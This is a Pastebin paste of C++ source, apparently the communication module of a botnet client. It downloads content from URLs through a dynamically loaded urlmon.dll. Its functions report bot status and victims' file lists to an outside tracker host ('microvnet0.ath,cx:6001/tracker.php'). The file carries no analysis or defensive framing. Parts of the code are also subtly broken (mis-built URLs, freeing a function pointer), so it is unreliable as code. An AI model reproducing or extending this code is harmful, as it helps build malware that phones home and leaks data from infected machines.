Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //COMM.CPP
- #include "comm.h"
- #include "usefull.h"
- HRESULT COMM_URLDownloadToFile(char *inURL, char *inFILE)
- {
- HRESULT returnVal;
- HMODULE library = LoadLibraryA("urlmon.dll");
- _COMM_URLDownloadToFileA func;
- func = (_COMM_URLDownloadToFileA)GetProcAddress(library, "URLDownloadToFileA");
- returnVal = func(0, inURL, inFILE, 0, 0);
- FreeLibrary(library);
- free(func);
- return returnVal;
- }
- DWORD COMM_URLDownloadToTempFile(char *inURL)
- {
- SAFECHAR2(tempname, 1024);
- SAFECHAR2(temppath, 1024);
- GetTempPathA(1024, temppath);
- GetTempFileNameA(temppath, "blk", NULL, tempname);
- if (COMM_URLDownloadToFile(inURL, tempname) == S_OK)
- {
- DeleteFileA(tempname);
- return COMM_OK;
- }
- return COMM_GENERR;
- }
- DWORD COMM_URlDownloadToString(char *inURL, char *outBUFF)
- {
- HANDLE tempFile = INVALID_HANDLE_VALUE;
- DWORD fileSize = NULL;
- DWORD bytesRead = NULL;
- SAFECHAR2(tempname, 1024);
- SAFECHAR2(temppath, 1024);
- GetTempPathA(1024, temppath);
- GetTempFileNameA(temppath, "blk", NULL, tempname);
- if (COMM_URLDownloadToFile(inURL, tempname) == S_OK)
- {
- tempFile = CreateFileA(tempname, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
- if (tempFile == INVALID_HANDLE_VALUE) { return COMM_FILEERR; }
- fileSize = GetFileSize(tempFile, &fileSize);
- if (fileSize == NULL) { return COMM_FILEERR; }
- SAFECHAR2(fileBuffer, fileSize+5);
- if (ReadFile(tempFile, fileBuffer, fileSize, &bytesRead, NULL) == NULL) { return COMM_FILEERR; }
- if (bytesRead == NULL) { return COMM_GENERR; }
- fileBuffer[bytesRead] = '\0';
- CloseHandle(tempFile);
- strcpy(outBUFF, fileBuffer);
- }
- return COMM_OK;
- }
- DWORD COMM_botUpdateStatus(char *status)
- {
- DWORD ret = NULL;
- SAFECHAR1(statURL, "http://microvnet0.ath,cx:6001/tracker.php?type=botStatUpdate&c=");
- SAFECHAR2(statFURL, strlen(statURL)+strlen(status)+5);
- lstrcpy(statFURL, statURL);
- lstrcpy(statFURL, status);
- ret = COMM_URLDownloadToTempFile(statFURL);
- free(statURL);
- free(statFURL);
- return ret;
- }
- DWORD COMM_botUpdateFiles(char *status)
- {
- DWORD ret = NULL;
- SAFECHAR1(statURL, "http://microvnet0.ath,cx:6001/tracker.php?type=fileListUpdate&c=");
- SAFECHAR2(statFURL, strlen(statURL)+strlen(status)+5);
- lstrcpy(statFURL, statURL);
- lstrcpy(statFURL, status);
- ret = COMM_URLDownloadToTempFile(statFURL);
- free(statURL);
- free(statFURL);
- return ret;
- }
Add Comment
Please, Sign In to add comment